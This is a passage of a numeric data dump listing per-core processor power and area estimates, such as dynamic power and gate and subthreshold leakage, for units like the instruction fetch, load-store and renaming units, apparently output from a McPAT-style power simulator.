Unit/Register Files/Integer RF/Peak Dynamic': 0.123458, 'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.0827047, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675, 'Execution Unit/Register Files/Peak Dynamic': 0.200354, 'Execution Unit/Register Files/Runtime Dynamic': 0.0938876, 'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387, 'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643, 'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912, 'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402, 'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.284991, 'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.645449, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543, 'Execution Unit/Runtime Dynamic': 2.33933, 'Execution Unit/Subthreshold Leakage': 1.79543, 'Execution Unit/Subthreshold Leakage with power gating': 0.688821, 'Gate Leakage': 0.368936, 'Instruction Fetch Unit/Area': 5.85939, 'Instruction Fetch Unit/Branch Predictor/Area': 0.138516, 'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.00112459, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.00112459, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.00101262, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000410107, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045, 'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838, 'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732, 'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05, 'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602, 'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.00118806, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733, 'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00444986, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282, 'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954, 'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758, 'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867, 'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.00959973, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357, 'Instruction Fetch Unit/Gate Leakage': 0.0589979, 'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323, 'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05, 'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827, 'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0795061, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682, 'Instruction Fetch Unit/Instruction Cache/Area': 3.14635, 'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931, 'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 5.05727, 'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.206566, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386, 'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799, 'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493, 'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404, 'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.270038, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104, 'Instruction Fetch Unit/Peak Dynamic': 7.52123, 'Instruction Fetch Unit/Runtime Dynamic': 0.57016, 'Instruction Fetch Unit/Subthreshold Leakage': 0.932286, 'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843, 'L2/Area': 4.53318, 'L2/Gate Leakage': 0.015464, 'L2/Peak Dynamic': 0.0109267, 'L2/Runtime Dynamic': 0.00291324, 'L2/Subthreshold Leakage': 0.834142, 'L2/Subthreshold Leakage with power gating': 0.401066, 'Load Store Unit/Area': 8.80901, 'Load Store Unit/Data Cache/Area': 6.84535, 'Load Store Unit/Data Cache/Gate Leakage': 0.0279261, 'Load Store Unit/Data Cache/Peak Dynamic': 3.55562, 'Load Store Unit/Data Cache/Runtime Dynamic': 1.11841, 'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675, 'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085, 'Load Store Unit/Gate Leakage': 0.0350888, 'Load Store Unit/LoadQ/Area': 0.0836782, 'Load Store Unit/LoadQ/Gate Leakage': 0.00059896, 'Load Store Unit/LoadQ/Peak Dynamic': 0.0750088, 'Load Store Unit/LoadQ/Runtime Dynamic': 0.0750087, 'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961, 'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918, 'Load Store Unit/Peak Dynamic': 3.90982, 'Load Store Unit/Runtime Dynamic': 1.56333, 'Load Store Unit/StoreQ/Area': 0.322079, 'Load Store Unit/StoreQ/Gate Leakage': 0.00329971, 'Load Store Unit/StoreQ/Peak Dynamic': 0.184959, 'Load Store Unit/StoreQ/Runtime Dynamic': 0.369917, 'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621, 'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004, 'Load Store Unit/Subthreshold Leakage': 0.591321, 'Load Store Unit/Subthreshold Leakage with power gating': 0.283293, 'Memory Management Unit/Area': 0.4339, 'Memory Management Unit/Dtlb/Area': 0.0879726, 'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729, 'Memory Management Unit/Dtlb/Peak Dynamic': 0.0656425, 'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0657523, 'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699, 'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485, 'Memory Management Unit/Gate Leakage': 0.00808595, 'Memory Management Unit/Itlb/Area': 0.301552, 'Memory Management Unit/Itlb/Gate Leakage': 0.00393464, 'Memory Management Unit/Itlb/Peak Dynamic': 0.314443, 'Memory Management Unit/Itlb/Runtime Dynamic': 0.0340237, 'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758, 'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842, 'Memory Management Unit/Peak Dynamic': 0.583314, 'Memory Management Unit/Runtime Dynamic': 0.099776, 'Memory Management Unit/Subthreshold Leakage': 0.0766103, 'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333, 'Peak Dynamic': 20.7044, 'Renaming Unit/Area': 0.303608, 'Renaming Unit/FP Front End RAT/Area': 0.131045, 'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123, 'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468, 'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.202278, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885, 'Renaming Unit/Free List/Area': 0.0340654, 'Renaming Unit/Free List/Gate Leakage': 2.5481e-05, 'Renaming Unit/Free List/Peak Dynamic': 0.0306032, 'Renaming Unit/Free List/Runtime Dynamic': 0.0144905, 'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144, 'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064, 'Renaming Unit/Gate Leakage': 0.00708398, 'Renaming Unit/Int Front End RAT/Area': 0.0941223, 'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242, 'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965, 'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.13386, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228, 'Renaming Unit/Peak Dynamic': 3.58947, 'Renaming Unit/Runtime Dynamic': 0.350628, 'Renaming Unit/Subthreshold Leakage': 0.0552466, 'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461, 'Runtime Dynamic': 4.92614, 'Subthreshold Leakage': 6.16288, 'Subthreshold Leakage with power gating': 2.55328}, {'Area': 32.0201, 'Execution Unit/Area': 7.68434, 'Execution Unit/Complex ALUs/Area': 0.235435, 'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646, 'Execution Unit/Complex ALUs/Peak Dynamic': 0.103117, 'Execution Unit/Complex ALUs/Runtime Dynamic': 0.283681, 'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111, 'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163, 'Execution Unit/Floating Point Units/Area': 4.6585, 'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156, 'Execution Unit/Floating Point Units/Peak Dynamic': 0.433195, 'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033, 'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829, 'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061, 'Execution Unit/Gate Leakage': 0.120359, 'Execution Unit/Instruction Scheduler/Area': 1.66526, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.262202, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519, 'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913, 'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223, 'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562, 'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763, 'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.422921, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964, 'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262, 'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388, 'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608, 'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451, 'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.213476, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446, 'Execution Unit/Instruction Scheduler/Runtime Dynamic': 0.898599, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346, 'Execution Unit/Integer ALUs/Area': 0.47087, 'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291, 'Execution Unit/Integer ALUs/Peak Dynamic': 0.233468, 'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344, 'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222, 'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833, 'Execution Unit/Peak Dynamic': 5.11398, 'Execution Unit/Register Files/Area': 0.570804, 'Execution Unit/Register Files/Floating Point RF/Area': 0.208131, 'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788, 'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.0818399, 'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.0109979, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968, 'Execution Unit/Register Files/Gate Leakage': 0.000622708, 'Execution Unit/Register Files/Integer RF/Area': 0.362673, 'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992, 'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.123162, 'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.0813363, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675, 'Execution Unit/Register Files/Peak Dynamic': 0.205002, 'Execution Unit/Register Files/Runtime Dynamic': 0.0923342, 'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387, 'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643, 'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912, 'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402, 'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.285253, 'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.64131, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543, 'Execution Unit/Runtime Dynamic': 2.3213, 'Execution Unit/Subthreshold Leakage': 1.79543, 'Execution Unit/Subthreshold Leakage with power gating': 0.688821, 'Gate Leakage': 0.368936, 'Instruction Fetch Unit/Area': 5.85939, 'Instruction Fetch Unit/Branch Predictor/Area': 0.138516, 'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.00103904, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.00103904, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.000938948, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000382045, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045, 'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838, 'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732, 'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05, 'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602, 'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.0011684, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733, 'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00418544, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282, 'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954, 'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758, 'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867, 'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.00874961, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357, 'Instruction Fetch Unit/Gate Leakage': 0.0589979, 'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323, 'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05, 'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827, 'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0781906, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682, 'Instruction Fetch Unit/Instruction Cache/Area': 3.14635, 'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931, 'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 4.9736, 'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.195257, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386, 'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799, 'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493, 'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404, 'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.265571, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104, 'Instruction Fetch Unit/Peak Dynamic': 7.43349, 'Instruction Fetch Unit/Runtime Dynamic': 0.551953, 'Instruction Fetch Unit/Subthreshold Leakage': 0.932286, 'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843, 'L2/Area': 4.53318, 'L2/Gate Leakage': 0.015464, 'L2/Peak Dynamic': 0.010886, 'L2/Runtime Dynamic': 0.00276762, 'L2/Subthreshold Leakage': 0.834142, 'L2/Subthreshold Leakage with power gating': 0.401066, 'Load Store Unit/Area': 8.80901, 'Load Store Unit/Data Cache/Area': 6.84535, 'Load Store Unit/Data Cache/Gate Leakage': 0.0279261, 'Load Store Unit/Data Cache/Peak Dynamic': 3.51963, 'Load Store Unit/Data Cache/Runtime Dynamic': 1.10044, 'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675, 'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085, 'Load Store Unit/Gate Leakage': 0.0350888, 'Load Store Unit/LoadQ/Area': 0.0836782, 'Load Store Unit/LoadQ/Gate Leakage': 0.00059896, 'Load Store Unit/LoadQ/Peak Dynamic': 0.0738446, 'Load Store Unit/LoadQ/Runtime Dynamic': 0.0738447, 'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961, 'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918, 'Load Store Unit/Peak Dynamic': 3.86834, 'Load Store Unit/Runtime Dynamic': 1.53846, 'Load Store Unit/StoreQ/Area': 0.322079, 'Load Store Unit/StoreQ/Gate Leakage': 0.00329971, 'Load Store Unit/StoreQ/Peak Dynamic': 0.182088, 'Load Store Unit/StoreQ/Runtime Dynamic': 0.364177, 'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621, 'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004, 'Load Store Unit/Subthreshold Leakage': 0.591321, 'Load Store Unit/Subthreshold Leakage with power gating': 0.283293, 'Memory Management Unit/Area': 0.4339, 'Memory Management Unit/Dtlb/Area': 0.0879726, 'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729, 'Memory Management Unit/Dtlb/Peak Dynamic': 0.0646237, 'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0647397, 'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699, 'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485, 'Memory Management Unit/Gate Leakage': 0.00808595, 'Memory Management Unit/Itlb/Area': 0.301552, 'Memory Management Unit/Itlb/Gate Leakage': 0.00393464, 'Memory Management Unit/Itlb/Peak Dynamic': 0.30924, 'Memory Management Unit/Itlb/Runtime Dynamic': 0.03215, 'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758, 'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842, 'Memory Management Unit/Peak Dynamic': 0.576361, 'Memory Management Unit/Runtime Dynamic': 0.0968897, 'Memory Management Unit/Subthreshold Leakage': 0.0766103, 'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333, 'Peak Dynamic': 20.5925, 'Renaming Unit/Area': 0.303608, 'Renaming Unit/FP Front End RAT/Area': 0.131045, 'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123, 'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468, 'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.215284, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885, 'Renaming Unit/Free List/Area': 0.0340654, 'Renaming Unit/Free List/Gate Leakage': 2.5481e-05, 'Renaming Unit/Free List/Peak Dynamic': 0.0306032, 'Renaming Unit/Free List/Runtime Dynamic': 0.0144498, 'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144, 'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064, 'Renaming Unit/Gate Leakage': 0.00708398, 'Renaming Unit/Int Front End RAT/Area': 0.0941223, 'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242, 'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965, 'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.131221, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228, 'Renaming Unit/Peak Dynamic': 3.58947, 'Renaming Unit/Runtime Dynamic': 0.360954, 'Renaming Unit/Subthreshold Leakage': 0.0552466, 'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461, 'Runtime Dynamic': 4.87233, 'Subthreshold Leakage': 6.16288, 'Subthreshold Leakage with power gating': 2.55328}, {'Area': 32.0201, 'Execution Unit/Area': 7.68434, 'Execution Unit/Complex ALUs/Area': 0.235435, 'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646, 'Execution Unit/Complex ALUs/Peak Dynamic': 0.110759, 'Execution Unit/Complex ALUs/Runtime Dynamic': 0.289683, 'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111, 'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163, 'Execution Unit/Floating Point Units/Area': 4.6585, 'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156, 'Execution Unit/Floating Point Units/Peak Dynamic': 0.487877, 'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033, 'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829, 'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061, 'Execution Unit/Gate Leakage': 0.120359, 'Execution Unit/Instruction Scheduler/Area': 1.66526, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.253979, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519, 'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913, 'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223, 'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562, 'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763, 'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.409658, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964, 'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262, 'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388, 'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608, 'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451, 'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.206782, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446, 'Execution Unit/Instruction Scheduler/Runtime Dynamic': 0.870418, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346, 'Execution Unit/Integer ALUs/Area': 0.47087, 'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291, 'Execution Unit/Integer ALUs/Peak Dynamic': 0.21568, 'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344, 'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222, 'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833, 'Execution Unit/Peak Dynamic': 5.16782, 'Execution Unit/Register Files/Area': 0.570804, 'Execution Unit/Register Files/Floating Point RF/Area': 0.208131, 'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788, 'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.0921704, 'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.010653, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968, 'Execution Unit/Register Files/Gate Leakage': 0.000622708, 'Execution Unit/Register Files/Integer RF/Area': 0.362673, 'Execution Unit/Register Files/Integer RF/Gate Leakage': 